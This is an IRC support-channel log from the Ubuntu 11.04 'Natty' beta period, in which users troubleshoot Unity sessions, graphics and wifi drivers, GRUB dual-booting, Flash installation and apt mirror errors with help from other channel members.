[17:35] <ubuntu4shane> so, I'm sure that since Unity is very young, they have allowed for a bail out to the gnome desktop feature somehow?
[17:35] <bhavesh> KM0201: I changed my mind, and deleted sda9, now I have 3 swap partitions
[17:36] <KM0201> ubuntu4shane, of course, log out, at the bottom, click "Sessions" and choose Gnome Classic
[17:36] <yofel> KM0201: that was actually 8.10 I think, and yeah, KDE only became usable in 4.2, 4.0 was totally unusable and 4.1 only slightly better
[17:36] <ubuntu4shane> KM0201: ahh, great, thanks!
[17:36] <bhavesh> when I try to delete sda7 or sda6 it says please unmount any logical partitions higher than 7
[17:36] <izinucs> KM0201: Oh yea.. kde never intended that original release to be mainstream but had to do it .. I actually like the current itteration of kde and find it a pleasing environment.  However I like classic gnome for some of its features that are lacking in kde (and vice versa). If you could merge the two might be great!
[17:36] <KM0201> yofel, right, that was my real point...
[17:36] <bhavesh> so should I try it from live USB? KM0201
[17:36]  * yofel used gnome back then for a while, and went back with KDE 4.3 in karmic
[17:36] <bhavesh> or is there some other way
[17:37] <KM0201> you'll probably have to do it from the live cd/usb
[17:37] <bhavesh> k
[17:37] <LordNeo> Good Afternoon, i'm having random xserver crashes resulting in me being loged off. No issues in login back, but i want to solve the annoyance. Besides of ~/.xsession-errors is there any other logs i may look for?
[17:37] <spacebug-> tnx trism , would never had figered that out myself though
[17:37] <yofel> izinucs: considering Qt is now being used more that's more than a dream :D
[17:37] <trism> spacebug-: yeah, you really should be able to right click the launcher and create a new one
[17:37] <spacebug-> is there also a way to get the old menus back and get rid of that launcher ?
[17:38] <damadprof> anyone help me with this menu problem? Ubuntu classic interface, slide menu to the left vertical, and a top bar that doesn't seem can be altered, every window I open is stuck to the desktop I cannot move them without their menu bars but they are sitting on thetop taskbar?
[17:38] <spacebug-> I have already uninstalled the indicator-appmenu to get som old behavous back ;)
[17:38] <trism> spacebug-: you can log into the ubuntu classic session and it will be pretty much like 10.10
[17:38] <KM0201> yofel, 8.10?.. is kde4 that old?.
[17:38] <KM0201> granted i'm not a KDE user, but i was thinking it was barely a year old
[17:38] <spacebug-> ok tnx trism
[17:39] <darell> hello?
[17:39] <bin_bash> hi?
[17:39] <bin_bash> !ask
[17:39] <darell> if i d/l and install 11.04b1 and do updates everyday - does that mean my system should be at 11.04b2 now? or is that a totally separate upgrade/install?
[17:39] <izinucs> KM0201: nope it's got some seasoning..
[17:39] <KM0201> yofel, ah, looking at the wiki, you are indeed right... kde4 was initially released 1/11/08
[17:40] <yofel> KM0201: pretty much, also KDE releases every 6 months, so 4.6 makes KDE4 3 years old ;) and 8.04 was our last KDE3 release, and the kubuntu team didn't even consider that LTS as upstream didn't support KDE3 for that long
[17:40] <LordNeo> weird, in #ubuntu says #ubuntu+1 is the support channel for natty, and here says support is on #ubuntu....
[17:40] <yofel> darell: yes
[17:40] <yofel> !final | darell
[17:40] <darell> tks
[17:40] <KM0201> darell, as long as you keep your system up to date... you'll stay "current" ... when its final release, then update, and you'll ahve the final release
[17:41] <spacebug-> LordNeo: this is it
[17:41] <charlie-tca> LordNeo: support for all releases except Natty is in #ubuntu. When natty releases, it will also be there
[17:41] <darell> tks - what i wanted to know...  having trouble shutting down...  11.04b2 w/nvidia current driver - shutdown "splash" screen freezes and system will not shut down
[17:41] <KM0201> well, hopefully gnome 3 improves.. i'll be happy when its actually in the ubuntu repos, instead of the PPAs
[17:42] <cadorett> Is there some mode more failsafe/lower level then single user mode? I can't seem to get any interactive display up when booting into 11.04 beta 2 after a fresh install? I installed using alternate cd.
[17:42] <cadorett> All that is displayed is some corrupted looking lines in about 1/5th of the screen
[17:42] <KM0201> hmm.
[17:42] <rejoin> could someone please help me?
[17:42] <picca> anyone here find that ubuntu 11.04 doesn't shutdown properly
[17:42] <cadorett> Terminal isn't accessible via the traditional hot keys
[17:42] <darell> picca:  yes - me too
[17:42] <rejoin>  hello, i have downloaded the 11.04 latest beta and it boots in gnome rather than unity, why?
[17:42] <picca> darell, that is a relief then .. not just me
[17:43] <yofel> picca: does here, using KDE though - where does it hang/fail?
[17:43] <darell> picca:  has to do with nvidia and splash screen - but i have not found a "good" solution yet
[17:43] <charlie-tca> rejoin: check in hardware drivers for a video driver.
[17:43] <charlie-tca> If the video does not support unity, it will default to gnome
[17:43] <picca> yofel, just checking the syslog messages but can't see anything obvious ... it goes back to the boot logo and then just hangs forcing me to power it down by the off switch
[17:44] <picca> darell, i use intel here and it happens
[17:44] <KM0201> strange, it shuts down fine for me
[17:44] <yofel> hm, haven't seen that yet... also, please use ctrl+alt+del or REISUB instead of the power button
[17:45] <darell> picca:  i heard it does it to intel also...  there is chatter in the forums - but i was hoping someone smart in here has a solution...  i think if splash is turned off in the grub it might fix it - but i'm not positive
[17:45] <picca> it will probably take me longer to come up with a solution that it would to just wait for it to be fixed
[17:45] <KM0201> 50mb of updates this morning
[17:46] <darell> yofel: what is REISUB?
[17:46] <picca> Shame as i am finding 11.04 quite stable now apart from that issue my wastebin icon changing from a small empty bin to a fat empty bin every now and again
[17:46] <yofel> !reisub | darell
[17:47] <KM0201> yofel, wow, never heard that one.
[17:48] <yofel> *very* handy when testing alphas :P
[17:48] <rejoin> charlie-tca, thanks, that makes sense
[17:49] <rejoin> charlie-tca, when i typed unity in console it spit out some compiz errors
[17:50] <charlie-tca> rejoin: If your video won't support it, you can not use it
[17:50] <darell> ubottu:  well - that did the reboot without hanging...  but would be nice to fix the hang problem
[17:50] <KM0201> hehe
[17:50] <KM0201> !ubottu
[17:50] <rejoin> charlie-tca, i'm running it on a virtual machine
[17:50] <KM0201> updates finished.
[17:51] <KM0201> hmm, looks like grub had a new theme installed?
[17:51] <charlie-tca> rejoin: Virtual Machines don't support the video required for Unity. Trying to force it won't work
[17:53] <KM0201> ok, gotta restart, brb
[17:53] <rejoin> charlie-tca, ok, thanks again
[17:54] <hardcold> white
[18:00] <KM0201> http://www.howtogeek.com/wp-content/uploads/2011/03/Winbuntu.jpg
[18:00] <KM0201> thats a good wallpaper
[18:05] <delac> KM0201: yes, that and vista theme on ubuntu would be nice combination :)
[18:05] <KM0201> delac, not sure about the vista theme, but i like the wallpaper.
[18:05] <KM0201> lol
[18:13] <knightautwell> hey how do i set up an AP using ubuntu
[18:14] <knightautwell> that say a psp can access the internet on
[18:16] <Guest46392> http://www.euirc.net/de/server_admins.php
[18:16] <Guest46392> ups sorry
[18:16] <Guest46392> ubuntu rockz!
[18:17] <KM0201> ok, brb..
[18:19] <cbilljones> would it be possible to have unity drop to unity 3D upon VNC connections? i think this would be a good feature
[18:29] <hardcold> hello
[18:29] <hardcold> trying to install flgrx
[18:29] <hardcold> using the wiki
[18:29] <hardcold> https://help.ubuntu.com/community/BinaryDriverHowto/ATI
[18:29] <hardcold> I'm at step 11
[18:29] <hardcold> I tried changing ubuntu/maverick to ubuntu/natty
[18:29] <hardcold> doesn't work
[18:30] <hardcold> any ideas? I have no clue what I am doing
[18:33] <mongy> is there a proprietary nvidia driver available yet?  helping a friend and they say the screen is flickering a lot, probably due to noveau
[18:39] <rye> mongy, I am using the nvidia-current proprietary driver in natty
[18:39] <rye> mongy, i've been using it for last month or so
[18:40] <mongy> is that the name of it to install?
[18:40] <mongy> never used nvidia with linux, always had ati
[18:41] <trism> mongy: just use System Settings/Additional Drivers
[18:41] <yofel> you should install it over jockey (hardware drivers app)
[18:41] <KM0201> mongy, nvidia is usually easier... go to system/admin/additional drivers, and see if your driver is listed there, then just activate it
[18:41] <yofel> if you install it with apt-get you'll need to run nvidia-xconfig too or it won't work
[18:41] <mongy> think they installed it.. brb
[18:49] <cbilljones> mongy nvidia driver is available
[18:51] <mongy> they installed it.  finding out if its fixed flicke
[18:52] <mongy> odd that it never happened when they booted livecd and used it for an hour
[18:59] <bhavesh> My college wont provide me internet and I want to install wine there, how can I?
[18:59] <bhavesh> is there any setup file which I can carry?
[19:01] <elwillow> bhavesh, check on the winhq.org website, you might be able to find "all" of the package you need.
[19:02] <bhavesh> it says I need to do sudo apt-get install wine1.3
[19:02] <yofel> you can also get all packages from the archive from http://packages.ubuntu.com/ ( you'll need to download all dependencies too)
[19:03] <mongy> use apt-get --download-only  or something
[19:03] <mongy> and grab the packages from /var
[19:04] <mongy> or use aptoncd maybe?
[19:04] <rdesfo> hello
[19:04] <rdesfo> has any one been able to get boxee to work on 11.04?
[19:04] <bhavesh> k
[19:08] <ayush_> i can't get my broadcom wifi drivers to install in natty beta 2. never had this problem in maverick or lucid
[19:08] <ayush_> please help
[19:09] <KM0201> ayush_, which broadcom?
[19:10] <ayush_> KM0201: Broadcom 802.11g Network Adapter
[19:10] <ayush_> thats all I know
[19:11] <KM0201> ayush_, ... that tells me exactly nothing.... open a terminal and type "lspci" no quotes, and hit enter
[19:11] <ayush_> it says : Sorry, installation of this driver failed. Please have a look at the log file for details:/var/log/jockey.log
[19:12] <ayush_> KM0201: errrr I am on windows right now. is there a way to find out what you need in windows?
[19:12] <KM0201> no
[19:13] <mns``> ayush_: http://ubuntuforums.org/showthread.php?t=1592383
[19:13] <Richardo_> Hi I've recently installed ubuntu natty and tryed to do a dual boot with windows 7 but it doesn't work in grub! Please help!
[19:13] <ayush_> okay at least tell where i can report this problem. Can this be called a bug?
[19:13] <mns``> ayush_: maybe that link has the solution you want
[19:13] <ayush_> mns``: it doesn't
[19:13] <yofel> ayush_: if possible get a wired connection, check /var/crash for the crash file, open that in nautilus and let apport file the bug
[19:14] <KM0201> ayush_, its likely not a problem, you probably just need to install/activate the driver... but its hard to tell you how to do that, when you don't know what chipset is on the card
[19:14] <yofel> KM0201: the driver install failed..
[19:14] <KM0201> yofel, oh....
[19:14] <KevinDivide> Hello everyone
[19:14] <yofel> and yes, we *at least* need the /var/log/jockey.log from the affected system
[19:14] <mns``> yofel: what´s the error?
[19:14] <eagles0513875> hey guys
[19:15] <KM0201> he didn't say that
[19:15] <eagles0513875> where can i download a newer version of knetwork manager damn thing is crashing left right and center
[19:15] <Richardo_> Hi I've recently installed ubuntu natty and tryed to do a dual boot with windows 7 but it doesn't work in grub! Please help!
[19:15] <KevinDivide> Need some help.. I've tried searching around for the answer but can't seem to locate any topic
[19:15] <yofel> KM0201: he did: [20:11:22] <ayush_> it says : Sorry, installation of this driver failed. Please have a look at the log file for details:/var/log/jockey.log
[19:15] <ayush_> yofel: i've copied jockey.log to the windows partition.
[19:15] <eagles0513875> i need it to test a kernel from proposed kernel ppa
[19:15] <KM0201> yofel, thats probably while i was gone.. i had to run to the post office...
[19:15] <yofel> ayush_: can you pastebin it?
[19:15] <ayush_> yofel: whom do i send it too?
[19:15] <yofel> !pastebin
[19:16] <yofel> ayush_: if you can't get a wired connection, see on https://help.ubuntu.com/community/ReportingBugs how to manually file a bug, use bcmwl-kernel-source as the package and attach the jockey.log to the report
[19:16] <mns``> ayush_: do turned on wifi on your laptop?
[19:17] <mns``> ayush_: maybe it´s just off and that´s why the driver fail to install
[19:17] <ayush_> yofel: http://paste.ubuntu.com/595613/
[19:17] <KevinDivide> using natty beta2 on netbook... touchpad was working fine in 10.10 then stopped responding after update manager 11.04 install.. even rolled back to 10.10 and touchpad didn't work
[19:17] <KevinDivide> usb mouse works fine, but I'm left wondering... what the fish happened/
[19:17] <ayush_> mns``: it won't give me the option to enable wifi
[19:18] <Richardo_> Hi I've recently installed ubuntu natty and tryed to do a dual boot with windows 7 but it doesn't work in grub! Please help!
[19:18] <KevinDivide> has anyone had any trouble with netbook trackpads not working?
[19:18] <mns``> ayush_: maybe one of the Fn keys + wifi button or something?
[19:18] <KM0201> brb
[19:19] <yofel> ayush_: no idea what fails from that log, probably the module build failed, but other than you installing bcmwl-kernel-source by apt-get in a terminal on the system I don't know how to debug this further
[19:19] <ayush_> yofel: should I report this bug?
[19:19] <KevinDivide> ok better question.. is anyone seeing this message?
[19:20] <yofel> ayush_: yes, you should
[19:20] <Richardo_> KevinDivide, exactely what I'm thinking about mine lol :L
[19:21] <KevinDivide> ah!
[19:21] <charlie-tca> !grub } Richardo_
[19:21] <charlie-tca> !grub | Richardo_
[19:22] <mns``> ayush_: have a look at this -> http://techtikus.com/how-to-enable-your-broadcom-wireless-card-in-ubuntu-10-10/
[19:22] <mns``> ayush_: i guess that is the same on natty
[19:22] <KevinDivide> Richardo_: Well, your message came back to me no problem. I think they're just ignoring us... too new.
[19:22] <charlie-tca> Richardo_: that link tells how to do it.
[19:22] <Richardo_> No I've already followed that guide sorry if I wasn't clear I installed windows first then natty
[19:23] <charlie-tca> That guide tells you how to reinstall grub, which will fix that issue
[19:26] <Richardo_> But grub2 is already is already installed? Surely re-installing it would do nothing?
[19:27] <charlie-tca> Nothing except fix the problem with windows not there?
[19:27] <KevinDivide> Can anyone help with a trackpad issue? I was on 10.10 and installed 11.04 via package manager install.. trackpad stopped working, rolled back to 10.10 and trackpad was still not working... back on 11.04 now.. usb mouse has worked the whole time, but no track pad.
[19:27] <KevinDivide> tried searching around, couldn't find anything.. so I came here
[19:28] <Richardo_> Oh ok thanks charlie-tca I'll try now
[19:31] <knightautwell> anyone know how to use the datel wifi max with natty????
[19:36] <KM0201> knightautwell, do you know what chipset is on that wifi device?
[19:36] <knightautwell> how would i find out? would it be on the box or the docs that came with it?
[19:36] <KM0201> no.. is it internal, or USB?
[19:36] <knightautwell> usb
[19:37] <KM0201> k, hang on
[19:37] <knightautwell> my internal should be able to do it too
[19:37] <KM0201> whats your internal?
[19:38] <metroid1> i have noticed that when i install something from the software center a debconf window will flash during the install.  has anyone else noticed this?
[19:38] <metroid1> it doesn't seem bug report worthy but it is odd.
[19:38] <KM0201> cuz i don't see anything called "Datel" in the hardware database
[19:38] <knightautwell> broadcom BCM 43224 802.11 a/b/g/n
[19:39] <KM0201> knightautwell, you need the STA driver for that one, i'm pretty sure
[19:39] <KM0201> !broadcom
[19:39] <knightautwell> my other one is Ralink 802.11n WLAN
[19:39] <KM0201> knightautwell, lets focus on one at a time.
[19:39] <KM0201> the broadcom is the internal, right?
[19:40] <knightautwell> ok lol i was just saying and yes
[19:40] <KM0201> have you tried the sTA driver/
[19:40] <KM0201> ?
[19:40] <knightautwell> no not yet im going to now
[19:40] <KM0201> knightautwell, ok...
[19:40] <KM0201> that should get that device working.
[19:41] <knightautwell> as a AP?
[19:41] <KM0201> you didn't say as an AP.
[19:41] <KM0201> unless you said it while i wasn't here
[19:41] <knightautwell> lol yea i did earlier
[19:41] <KM0201> then i wasn't here.
[19:41] <knightautwell> sorry lol
[19:41] <KM0201> sorry.
[19:41] <KM0201> don't know about the AP.
[19:41] <KM0201> does the device not work at all?
[19:42] <KM0201> or just doesn't work as an AP?
[19:42] <knightautwell> not as an AP
[19:42] <KM0201> ok..
[19:42] <knightautwell> tried installing the software with wine but got an error about the registry
[19:43] <KM0201> well yeah, i could have told you that wasn't gonna work... wine isn't used to run hardware
[19:43] <knightautwell> lol i didnt know
[19:43] <jozefk> I can't install flash plugin with kpackagekit http://pzt.me/zsup
[19:43] <jozefk> this is kubuntu 11.04
[19:44] <knightautwell> is there anyway you can think of to make it an AP i know it supports it
[19:44] <knightautwell> well my internal should support it and if it doesnt my other one does for sure
[19:44] <hifi> "lua" is a virtual package provided by:
[19:44] <hifi>   lua50 lua40
[19:44] <hifi> say what?
[19:45] <KM0201> knightautwell, dunno, try asking on the forums... ubuntuforums.org
[19:45] <knightautwell> ok will do
[19:45] <adrian_kx> joze u use 64 bit version?
[19:45] <hifi> why in the hell lua5.1 is not a Provider for lua virtual?
[19:45] <jozefk> no it's 32bit version
[19:46] <adrian_kx> ohh
[19:46] <Richardo_> charlie-tca, it didn't work, now clicking the windows option just comes up with a blinking cursor
[19:46] <adrian_kx> on 64 bit edition is a bug of missing deps and cant install f;lash but 64 bit version of flash works fine
[19:46] <knightautwell> is there any liek virtual router program for natty?
[19:46] <knightautwell> *like
[19:47] <jozefk> ok how can I get it working then?
[19:47] <adrian_kx> try to install it from tgz package
[19:48] <jozefk> and codes as well http://pzt.me/2mvs
[19:48] <jozefk> tgz from adobe website?
[19:49] <jozefk> codecs*
[19:49] <adrian_kx> yes
[19:49] <adrian_kx> from adobe
[19:50] <yofel> jozefk: do you have the universe repository enabled? Did you try to refresh the package cache?
[19:50] <adrian_kx> copy libflashplayer.so to /usr/lib/flashplugin-installer/ and/usr/share/ubufox/plugins
[19:50] <adrian_kx> should work
[19:50] <yofel> the package in the archive should work too
[19:51] <jozefk> I tried to refresh and see the updates but I got this http://pzt.me/i6wn
[19:52] <jozefk> universe is enabled
[19:52] <jozefk> by default
[19:52] <yofel> well...
[19:52] <yofel> !info libnspr4-0d
[19:53] <yofel> it *is* there, and what you're getting is only a signing key warning (which shouldn't happen for the archive though...)
[19:53] <jozefk> so? how to get it working?
[19:54] <jozefk> I keep getting this kind of error for maybe 1 year already
[19:54] <jozefk> with ubuntu and anything based on ubuntu
[19:54] <yofel> can you run 'sudo apt-get update' and pastebin the *whole* output?
[19:54] <yofel> 'ubuntu-keyring' is installed?
[19:54] <jozefk> I don't know about keyring
[19:54] <yofel> the package
[19:56] <yofel> *if* that's installed you could try this: sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 40976EAF437D05B5
[19:56] <jozefk> http://pzt.me/o6dq    this is apt-get update
[19:56] <jozefk> ubuntu-keyring is installed
[19:57] <yofel> can you pastebin your /etc/apt/sources.list? (assuming you don't have any private archives added there - if you don't know what I'm talking about you don't)
[19:58] <jozefk> http://pzt.me/czrd
[19:58] <jozefk> this I got after keyring commnad of yours :)
[19:58] <jozefk> command*
[19:58] <yofel> ok, run apt-get update again, any change?
[19:59] <eagles0513875> yofel: do you know if there is a ppa with a newer version of knetwork manager floating around cuz mine keeps crashing non stop
[19:59] <jozefk> sources list http://pzt.me/e5z8
[20:00] <yofel> eagles0513875: our snapshot is barely 10 days old, so please file a bug at least against plasma-widget-networkmanagement
[20:01] <jozefk> second apt-get update http://pzt.me/gull
[20:02] <eagles0513875> yofel: it was working friday for me and now all of a sudden started crashing
[20:02] <yofel> jozefk: I don't get why you're getting "Err http://ae.archive.ubuntu.com natty Release" with that, can you change your mirror for a try? press alt+f2 and run: kdesudo software-properties-kde
[20:02] <yofel> there choose a different server at the bottom
[20:03] <yofel> eagles0513875: yes, that package was only uploaded on the 15th
[20:03] <eagles0513875> ok ill file a bug against it
[20:03] <yofel> or wait no
[20:03] <eagles0513875> odd
[20:04] <eagles0513875> its saying that kded4 closed unexpectedly
[20:04] <yofel> the upload from the 15th was:   * Add kubuntu_05_save_autoconnect_settings.diff, cherry-picked from upstream.
[20:04] <yofel>     (LP: #760432)
[20:04] <KM0201> hehe.
[20:04] <yofel> a network manager update was on the same day
[20:05] <yofel> eagles0513875: please file a bug so we get a trace of the crash or we won't know what goes wrong
[20:05] <jozefk> I chose germany and it seems it's working now
[20:05] <eagles0513875> will do yofel
[20:05] <jozefk> at least so far
[20:06] <yofel> jozefk: can you take your broken paste from apt-get update and post a small notice in #ubuntu-mirror that switching mirrors helps?
[20:06] <yofel> #ubuntu-mirrors I mean
[20:08] <jozefk> reqonk downloaded and installed the flash by itslef :) smart guy.
[20:08] <jozefk> let me see kpackage manager first. for a moment
[20:08] <yofel> hm... kded4 and knotify4 are stuck using 100% CPU :S
[20:09]  * yofel kill -s 9
[20:14] <jozefk> what is the network manager we have in kubuntu 11.04?
[20:14] <Technoviking> My evolution and xchat-gnome are using 24 hour time in Natty, but my locale setting are set to Eng-US and 12 hour time. Any ideas?
[20:16] <charlie-tca> xchat has it's own settings, Settings -> Preferences, Text box tab, time stamps
[20:16] <charlie-tca> i would guess xchat-gnome has something similar?
[20:17] <Technoviking> charlie-tca: it does not
[20:17] <KM0201> charlie-tca: nope, it doesn't
[20:17] <KM0201> Technoviking: my suggestion would be to download xchat.. :)
[20:18] <KM0201> its bettter than xchat-gnome anyway
[20:24] <KM0201> how do you change the "Ubuntu" icon in Unity?
[20:24] <KM0201> i wonder if tweak can do it.
[20:27] <KevinDivide> Anyone here know anything about trackpad issues for netbooks?
[20:31] <charlie-tca> KevinDivide: there are many to pick from.
[20:38] <th1> KevinDivide, what's the issue you are having?
[20:38] <rwhittle> pray
[20:38] <KM0201> anyone know how to change the icons on the sidebar in unity?
[20:38] <th1> KevinDivide, I had mine stop working and then I had my boss take it apart to try and fix it and then it worked but now it works intermittently
[20:38] <th1> I'm not sure if its Natty or hardware
[20:41] <KevinDivide> I'm thinking it's hardware.. stopped working on 11.04 update.. didn't work when I rolled back to mav
[20:42] <KevinDivide> updated to natty again, still no go.. any packs to inspect/manage actual hardware I should know about?
[20:42] <KevinDivide> (I'm new)
[20:43] <th1> KevinDivide, just weird that that would happen to me as well ;)
[20:44] <th1> what netbook do you have?
[20:44] <KevinDivide> acer aspire one
[20:44] <th1> ok mine's an Asus Eee 1000HE
[20:44] <KevinDivide> PAV70 here
[20:44] <th1> probably a hardware thing
[20:45] <th1> but after my boss fixed it (he said the connector was very loose and needed to be tightened) it worked, then it stopped working and now it's working again
[20:45] <th1> so it's probably a bad connection
[20:45] <th1> seems it's working pretty reliably now
[20:46] <KevinDivide> ok, I'll have someone take this beast apart if I can't figure out some in-box solution
[20:46] <KevinDivide> appreciate the help!
[20:46] <mongy> any idea if edge+button gestures in compiz will work when natty is final?
[20:47] <th1> mongy, did you set them up wtih ccsm?
[20:47] <mongy> yes
[20:47] <th1> ok, some of my settings got deleted while upgrading so just thought I'd ask
[20:47] <mongy> edges by themselves work. just not with a button click
[20:47] <th1> I'm not using corner+button gestures myself
[20:49] <mongy> also, is the desktop wall sliding a feature or just the parallax effect broken?
[20:51] <mongy> in 10.10 when switching desktops by whatever method, its parallax, but in 11.04 it moves the whole screen..
[20:54]  * L-Strife89 seems to be overlooking something, as he has yet to find a list of changes/new features in Natty over Maverick.
[20:55] <eagles0513875> yofel: not sure if you can help me with bug #765057
[20:55] <L-Strife89> That said, I plan to simply try out Natty later when I have some free time.
[20:55] <eagles0513875> yofel: bug #765057
[20:59] <L-Strife89> Ah, found it ....
[20:59] <KM0201> !bug #765067
[21:00] <L-Strife89> ... Crap, Unity will require 3D acceleration?
[21:00] <KM0201> L-Strife89: for now, yes.
[21:00] <KM0201> a 2D version is due.
[21:00] <L-Strife89> I can't even get barebones Metacity to do graphical effects on this laptop. :(
[21:01] <L-Strife89> Not properly, anyway.
[21:01] <charlie-tca> L-Strife89: http://www.ubuntu.com/testing/natty/beta
[21:01] <charlie-tca> has the changes
[21:01] <L-Strife89> charlie-tca: Yeah, I just realized a little while ago. :)
[21:05] <elias> how do i add a new locale?
[21:06] <alejandro> Does anyone know how to get the email notification bubble to repeat in Natty?
[21:08] <BluesKaj-den> ahh, success! natty instaled on den-pc with KDE4.6.2 .. usable uncluttered desktop that actually works , with preferred settings
[21:08] <yofel> eagles0513875: not really, but that does seem a rather frequent error lately
[21:09] <eagles0513875> ok at least its not only me
[21:09] <eagles0513875> yofel: possiblity of a new snapshot of the manager might do the trick?
[21:10] <yofel> huh? #765057 is about aptdaemon, not NM, but NM works fine for me. I know c2tarun had NM issues though
[21:11] <c2tarun> yofel: I still have. :/
[21:11] <ubuntuloverman00> Can someone help me install "the board" I have no idea how to do it
[21:12] <c2tarun> why are applications keep crashing on beta2? like vlc, gimp and may be more.
[21:13] <yofel> c2tarun: give me a trace and I might be able to tell you what's the problem
[21:14] <yofel> without a trace it's impossible to track down
[21:14] <c2tarun> yofel: well I just switched from vlc to quassel because it pinged and then vlc simply crashed, how to reproduce the trace?
[21:15] <yofel> maybe apport catched the crash if drkonqi didn't
[21:15] <yofel> if it did you need to figure out yourself how to reproduce it
[21:16] <yofel> but apports crash file should have the core dump from the crash
[21:21] <Guest17380> need help
[21:24] <yofel> !ask
[21:32] <iceroot> hi
[21:32] <iceroot> is gpg --fingerprint bugged in 11.04? or are further steps needed to show my fingerprint?
[21:33] <dajhorn> iceroot:   `gpg --fingerprint` works-for-me.  Are you getting an error?
[21:33] <iceroot> dajhorn: nothing
[21:34] <dajhorn> iceroot: gpg on Natty is checking for $HOME/.gnupg/pubring.gpg when I call it.
[21:34] <iceroot> empty file
[21:34] <dajhorn> iceroot: That is the glitch.
[21:35] <iceroot> but a key is generated by default? its the same as the openssh-server key?
[21:35] <dajhorn> iceroot: No,  gpg and ssh keys are different things.
[21:36] <iceroot> dajhorn: ok but because of gpg is installed, normally the package should have generated a key
[21:36] <dajhorn> iceroot:  Your private ssh key is $HOME/.ssh/id_rsa
[21:36] <dajhorn> iceroot: No, gpg doesn't do this.
[21:37] <dajhorn> iceroot: The openssh-server package will generate a host key at install time.  This is different than a gpg key.
[21:37] <Superstar> How do I configure the visual effect preferences of Natty? In 10.10 I would go to System > Preferences > Appearance and then select the "Visual Effects" tab. It seems this tab is missing from it?
[21:38] <iceroot> dajhorn: ok so its not a but, just my fault because i have to generate a gpg key first
[21:38] <iceroot> bug
[21:38] <dajhorn> iceroot: Yes.
[21:38] <dajhorn> iceroot: ... but not a bug.
[21:38] <iceroot> dajhorn: thank you for the usefull information
[21:38] <dajhorn> iceroot: Welcome.
[21:40] <dajhorn> Superstar: Try `ccsm` at a terminal prompt.
[21:40] <alejandro> Superstar: download ccsm from the Software Center.
[21:41] <Superstar> dajhorn, alejandro: I was hoping to do this without that but thanks anyway
[21:41] <dajhorn> Superstar: This panel is exposed in the usual if you exit unity and login to the classic desktop.
[21:45] <lucas-arg> guys, i cant shutdown the computer when im using nvidia-current, its ok with noveau drivers...
[22:01] <karlhunt> Hi, just did a barage of updates to ubuntu 11.04 beta 2 and now if i select ubuntu classic at login i still get unity
[22:04] <hardcold_> that's cool Karl
[22:04] <hardcold_> I'll try that
[22:08] <hardcold> karlhunt: works fine here
[22:09] <hardcold> Is classic more stable than Unity?
[22:10] <karlhunt> yes
[22:10] <karlhunt> alot
[22:10] <karlhunt> I have to pick classic (no effects) to get the classic desktop
[22:11] <hardcold> Well, I'm going to mess around with classic now
[22:11] <hardcold> Because unity/ubuntu has been crashing like crazy
[22:13] <hardcold> I noticed that Amazon on demand works fine on Ubuntu and that their prime service has movies like netflix now
[22:13] <hardcold> the selection is only around 1,500 movies or so, but you get the rest of the prime benefits as well
[22:14] <hardcold> Perhaps they will add more titles and be a serious competitor to netflix
[22:14] <hardcold> if that's the case, then those netflix threads on ubuntu can finally be closed
[22:15] <karlhunt> is that stateside?
[22:15] <hardcold> last time I was on Amazon they only did rentals, so I don't know when they rolled out the Prime service for video
[22:15] <hardcold> yeah, in the US
[22:16] <karlhunt> No netflix or amazon od on this side of the pond!
[22:16] <karlhunt> I managed to get virtualbox 4 working in 11.04
[22:17] <karlhunt> my graphics are a bit flakey. Although i expect thats because I have a new chip
[22:18] <hardcold> well, I'll take your healthcare and you can have my netflix
[22:19] <karlhunt> lol Ill raise you your broadband
[22:19] <karlhunt> and my 12 month waiting list
[22:19] <hardcold> forget that, just move to Japan
[22:19] <karlhunt> Yeah
[22:19] <karlhunt> gigabit
[22:19] <karlhunt> mmmmm
[22:19] <hardcold> yup
[22:19] <hardcold> my friend had 100mb down and up in 2002
[22:20] <hardcold> for $40 a month
[22:20] <karlhunt> There isnt enough porn in the world to download over a gigabit
[22:20] <hardcold> in 2006 that was upgraded to 1000mb for a one-time $50 fee
[22:20] <karlhunt> British Telecom are just launching 40 down 10 up for £25
[22:20] <hardcold> apparently google will be rolling out gigabit service in the US in some test runs
[22:21] <karlhunt> Virgin Media have 100 down 10 up for £50
[22:21] <karlhunt> Thats the best youll get here without a leased line
[22:21] <hardcold> Estonia has cheap fiber
[22:21] <hardcold> you could move there
[22:21] <karlhunt> Im on adsl i get 5 down 1/2 up lol
[22:22] <hardcold> 100mb down 20mb up for 20 euro
[22:22] <hardcold> well, I'm moving to Iceland this summer
[22:23] <hardcold> so, you're better off than I'll be
[22:23] <hardcold> actually, no, it's faster there
[22:23] <karlhunt> UK is one of the worst in europe for broadband
[22:23] <hardcold> Well, Iceland is another option ^_-
[22:23] <karlhunt> but then our infrastructure is one of the oldest
[22:23] <hardcold> short flight from London
[22:24] <karlhunt> Or i could live in a box and pretend there is no internet
[22:24] <karlhunt> grow a long beard
[22:24] <hardcold> we have to be careful or we will be banned for talking about things other than ubuntu
[22:24] <knightautwell> hey when i try to run firestarter i get an error what it couldnt be started
[22:24] <karlhunt> and grumble at teenagers with ipods
[22:24] <karlhunt> lol
[22:24] <knightautwell> even when i try to uninstall it i get errors
[22:24] <Daekdroom> knightautwell, what is the error?
[22:24] <karlhunt> firestarter?
[22:25] <Daekdroom> Pastebinit if necessary
[22:25] <Daekdroom> karlhunt, a firewall GUI
[22:25] <knightautwell> firewall lol
[22:25] <knightautwell> im using it with hostapd to make an access point
[22:25] <karlhunt> ahh yes i have seen it
[22:25] <knightautwell> ill pastbin the error when i try to install it
[22:26] <Daekdroom> I have 10Mb down/1Mb up here in Brazil for what is worth 30 euros, btw.
[22:26] <Daekdroom> But it's harder to get that amount of cash in here than it is in Europe.
[22:27] <karlhunt> Just installed firestarter without error
[22:27] <knightautwell> howd you install it?
[22:28] <karlhunt> sudo apt-get install firestarter
[22:28] <knightautwell> with the software center or synaptic
[22:28] <Daekdroom> knightautwell, really, we don't have a clue of what is wrong if you don't paste the error message.
[22:28] <nemo> ok. is there any sane way in unity to identify which variant of an application is which?
[22:28] <nemo> I have 2 firefox icons on boot - I assume one is for the one I downloaded to my desktop
[22:28] <knightautwell> ok hold on
[22:28] <nemo> I have no idea which is which, and apparently you can't drag those icons to your desktop or get properties for them
[22:29] <knightautwell> well when i install it thru the terminal i dont get an error its when i try to run it
[22:29]  * nemo restorts to grepping for process name in a terminal
[22:31] <karlhunt> firewall is running here too paste your error knightautwell
[22:31] <nemo> looks like it was the 2nd one.
[22:32] <knightautwell> ok here ya go   http://paste.ubuntu.com/595698/
[22:34] <nemo> hm. how do you customise applets in Unity?
